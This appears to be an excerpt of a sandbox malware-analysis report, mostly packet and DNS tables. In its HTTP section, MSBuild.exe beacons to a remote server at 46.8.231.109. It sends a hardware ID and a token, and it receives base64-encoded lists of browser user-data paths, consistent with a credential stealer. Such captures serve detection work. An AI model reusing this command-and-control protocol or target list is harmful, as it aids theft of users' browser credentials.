Oct 7, 2024 17:23:02.234186888 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.234201908 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.234360933 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.234368086 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.234592915 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.234652996 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.234652996 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.234700918 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.234711885 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.237726927 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.237785101 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.237906933 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.238086939 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.238105059 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.243607044 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.244649887 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.244671106 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.244695902 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.244704008 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.346472979 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.346535921 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.346581936 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.346813917 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.346813917 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.346834898 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.347414970 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432168007 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.432275057 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.432352066 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432352066 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432363987 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.432389021 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.432511091 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432511091 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432511091 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432542086 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.432559967 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.435336113 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.435395956 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.435590029 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.436208963 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.436227083 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.503926039 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.506674051 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.506701946 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.507112980 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.507122040 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.583025932 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.583431959 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.583451033 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.583878994 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.583884001 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.601793051 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.601819038 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.601881981 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.601910114 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.601948023 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.602201939 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.602206945 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.602226019 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.602458954 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.602493048 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.602533102 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.604831934 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.604887962 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.604980946 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.605107069 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.605123043 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.694097042 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.694120884 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.694165945 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.694186926 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.694204092 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.694246054 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.697520018 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.697520018 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.697555065 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.697568893 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.701092958 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.701143026 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.701221943 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.701342106 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.701354027 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.751537085 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.752064943 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.752104998 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.752496004 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.752501965 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.114435911 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.114598989 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.114684105 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.115998983 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.173571110 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.203345060 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.203377962 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.203418016 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.203424931 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.205483913 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.205497026 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.205933094 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.205938101 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.215136051 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.215166092 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.215241909 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.215425014 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.215430975 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.304707050 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.305190086 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.305243015 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.305279970 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.305293083 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.310035944 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.310064077 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.317739964 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.317753077 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.317761898 CEST	49983	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.317768097 CEST	443	49983	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.317924023 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.317943096 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.320549965 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.325277090 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.325297117 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.328290939 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.328296900 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.332473993 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.332500935 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.332849979 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.332860947 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.351514101 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.351566076 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.351663113 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.352404118 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.352421045 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.414670944 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.414836884 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.415000916 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.415045977 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.415064096 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.415080070 CEST	49984	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.415088892 CEST	443	49984	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.417860031 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.417910099 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.417980909 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.418184042 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.418199062 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.430675983 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.430845976 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.430908918 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.430951118 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.430952072 CEST	49986	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.430969954 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.430980921 CEST	443	49986	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.433166027 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.433204889 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.433267117 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.433381081 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.433393002 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.462745905 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.462770939 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.462816954 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.462877035 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.462877035 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.463076115 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.463076115 CEST	49987	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.463094950 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.463105917 CEST	443	49987	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.840629101 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.841382980 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.841412067 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.841670990 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.841675043 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.934772968 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.934950113 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.935013056 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.935200930 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.935215950 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.935228109 CEST	49988	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.935233116 CEST	443	49988	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.997667074 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.998121977 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.998158932 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:03.998572111 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:03.998586893 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.042493105 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.043081999 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.043169975 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.043378115 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.043385983 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.055633068 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.055938959 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.055957079 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.056360006 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.056365013 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.099945068 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.100208998 CEST	443	49989	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.100402117 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.100403070 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.100403070 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.137764931 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.137847900 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.138005972 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.138176918 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.138190031 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.138214111 CEST	49991	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.138220072 CEST	443	49991	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.154917955 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.155085087 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.155442953 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.155488014 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.155515909 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.155527115 CEST	49990	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.155534983 CEST	443	49990	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:04.405126095 CEST	49989	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:04.405163050 CEST	443	49989	13.107.246.60	192.168.2.5

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 17:21:59.482357979 CEST	1.1.1.1	192.168.2.5	0xbe09	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 17:21:59.482357979 CEST	1.1.1.1	192.168.2.5	0xbe09	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 17:22:00.009202003 CEST	1.1.1.1	192.168.2.5	0xb933	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 17:22:00.009202003 CEST	1.1.1.1	192.168.2.5	0xb933	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 17:22:17.268884897 CEST	1.1.1.1	192.168.2.5	0x6294	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 17:22:17.268884897 CEST	1.1.1.1	192.168.2.5	0x6294	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 17:23:02.564338923 CEST	1.1.1.1	192.168.2.5	0x3423	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 17:23:02.564338923 CEST	1.1.1.1	192.168.2.5	0x3423	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

46.8.231.109

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	46.8.231.109	80	1732	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 17:21:57.920540094 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 17:21:58.746232986 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 17:21:58.750396013 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 32 35 38 44 32 31 31 42 35 32 37 33 30 30 35 37 33 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="hwid"EA4258D211B52730057325------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="build"default------GCGDGHCBGDHJJKECAECB--
Oct 7, 2024 17:21:59.286703110 CEST	407	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 64 6d 4f 54 56 6d 59 6a 5a 69 5a 6a 41 34 4e 54 4d 33 5a 6a 63 32 4f 44 63 79 5a 44 4a 6b 4d 44 6c 68 5a 47 55 34 59 32 46 69 59 54 41 33 4f 47 46 6d 4f 47 55 77 59 54 56 69 5a 47 4a 6d 59 32 56 6a 4d 54 6b 31 4e 54 46 6a 4e 54 67 33 5a 6d 45 78 4e 6d 59 33 4e 6d 46 68 4d 54 4d 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTdmOTVmYjZiZjA4NTM3Zjc2ODcyZDJkMDlhZGU4Y2FiYTA3OGFmOGUwYTViZGJmY2VjMTk1NTFjNTg3ZmExNmY3NmFhMTM4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 7, 2024 17:21:59.288744926 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 37 66 39 35 66 62 36 62 66 30 38 35 33 37 66 37 36 38 37 32 64 32 64 30 39 61 64 65 38 63 61 62 61 30 37 38 61 66 38 65 30 61 35 62 64 62 66 63 65 63 31 39 35 35 31 63 35 38 37 66 61 31 36 66 37 36 61 61 31 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"97f95fb6bf08537f76872d2d09ade8caba078af8e0a5bdbfcec19551c587fa16f76aa138------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="message"browsers------IJJJEBFHDBGIECBFCBKJ--
Oct 7, 2024 17:21:59.472302914 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 15:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYX